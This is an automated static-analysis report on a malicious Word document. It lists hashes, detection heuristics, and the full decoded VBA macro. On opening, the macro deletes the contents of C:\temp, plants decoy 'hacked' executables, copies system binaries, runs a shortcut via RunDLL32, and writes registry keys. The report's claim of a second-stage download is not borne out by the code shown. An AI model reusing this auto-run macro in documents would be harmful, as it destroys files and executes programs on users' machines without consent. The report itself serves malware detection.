Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 49c2a4b2f089ce69…

MALICIOUS

Office (OLE)

670.6 KB Created: 2015-08-13 07:29:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 21f871ad46b16d9ebbe1a191e9d5725a SHA-1: c6e7f76ea9a17db4368714fd284077eae309d133 SHA-256: 49c2a4b2f089ce6985d4638e5c95170df3bbee20a3ac5621f3267649c4e09cdb
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro that utilizes WScript.Shell to create files in the C:\temp\ directory, including executables like 'Control.exe' and 'googservices.exe'. This behavior strongly suggests the macro is designed to download and execute a second-stage payload. The presence of 'Shell()' and 'CreateObject()' calls, along with a reference to a LOLBin, further supports this malicious intent.

Heuristics 11

  • ClamAV: Doc.Malware.Baddoc-6725278-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Baddoc-6725278-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Cmd = "RunDLL32.EXE shell32.dll,ShellExec_RunDLL "
    Shell (Cmd & MyFile)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      'access Windows scripting
  Set myWS = CreateObject("WScript.Shell")
  'write registry key
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        MyFile = "C:\Maliciousfiles\emailtools\shortcut.lnk"
    Cmd = "RunDLL32.EXE shell32.dll,ShellExec_RunDLL "
    Shell (Cmd & MyFile)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      'access Windows scripting
  Set myWS = CreateObject("WScript.Shell")
  'write registry key
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Sub
Sub document_open()
    Dim row As Long
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3024 bytes
SHA-256: 60dc4651cb48bf65490a40033804deb63287f4a16fd79ff04141881fd7df5385
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub RegKey(i_RegKey As String, _
               i_Value As String, _
      Optional i_Type As String = "REG_DWORD")
Dim myWS As Object
 
  'access Windows scripting
  Set myWS = CreateObject("WScript.Shell")
  'write registry key
  myWS.RegWrite i_RegKey, i_Value, i_Type
 
End Sub
Sub document_open()
    Dim row As Long
    Dim fileName As String, folder As String
    Dim path As Integer
    Dim MyFile As String, Cmd As String ' for mail sending
    
    On Error Resume Next
    Kill "C:\temp\*.*"    ' delete all files in the folder
    RmDir "C:\temp\"  ' delete folder
    On Error GoTo 0
    
    folder = "C:\temp\"
    
    MkDir "c:\temp"
        
        fileName = "Command&Control.txt"
        Open folder & fileName For Output As #1
        Print #1, "You have been hacked!!!"
        Close #1
        fileName = "Control.exe"
        Open folder & fileName For Output As #1
        Print #1, "You have been hacked!!!"
        Close #1
        fileName = "dns.com"
        Open folder & fileName For Output As #1
        Print #1, "You have been hacked!!!"
        Close #1
        fileName = "services.exe"
        Open folder & fileName For Output As #1
        Print #1, "You have been hacked!!!"
        Close #1
        fileName = "googservices.exe"
        Open folder & fileName For Output As #1
        Print #1, "You have been hacked!!!"
        Close #1
        fileName = "nntp.exe"
        Open folder & fileName For Output As #1
        Print #1, "You have been hacked!!!"
        Close #1
        
       
    FileCopy "C:\windows\notepad.exe", "C:\temp\Test.exe"
    FileCopy "C:\windows\regedit.exe", "C:\temp\regedit.exe"
    FileCopy "C:\windows\write.exe", "C:\temp\write.exe"
    FileCopy "C:\windows\winhlp32.exe", "C:\temp\winhlp32.exe"
    
    MyFile = "C:\Maliciousfiles\emailtools\shortcut.lnk"
    Cmd = "RunDLL32.EXE shell32.dll,ShellExec_RunDLL "
    Shell (Cmd & MyFile)


    
    RegKey "HKEY_CURRENT_USER\Software\Adobe\mal", "0"
    RegKey "HKEY_CURRENT_USER\Software\Adobe\eytrterd", "0"
    RegKey "HKEY_CURRENT_USER\Software\Adobe\asdwer", "0"
    RegKey "HKEY_CURRENT_USER\Software\Adobe\CnCcorrupt", "0"
    RegKey "HKEY_CURRENT_USER\Software\Adobe\Malwaredefined", "0"
    RegKey "HKEY_CURRENT_USER\Software\Adobe\Control4ever", "0"
    go.Show

    
End Sub








Attribute VB_Name = "go"
Attribute VB_Base = "0{4EF3219A-40B0-4A2F-A265-9C4194994603}{F9083AA5-60DB-4245-B165-ACF5AB92CF32}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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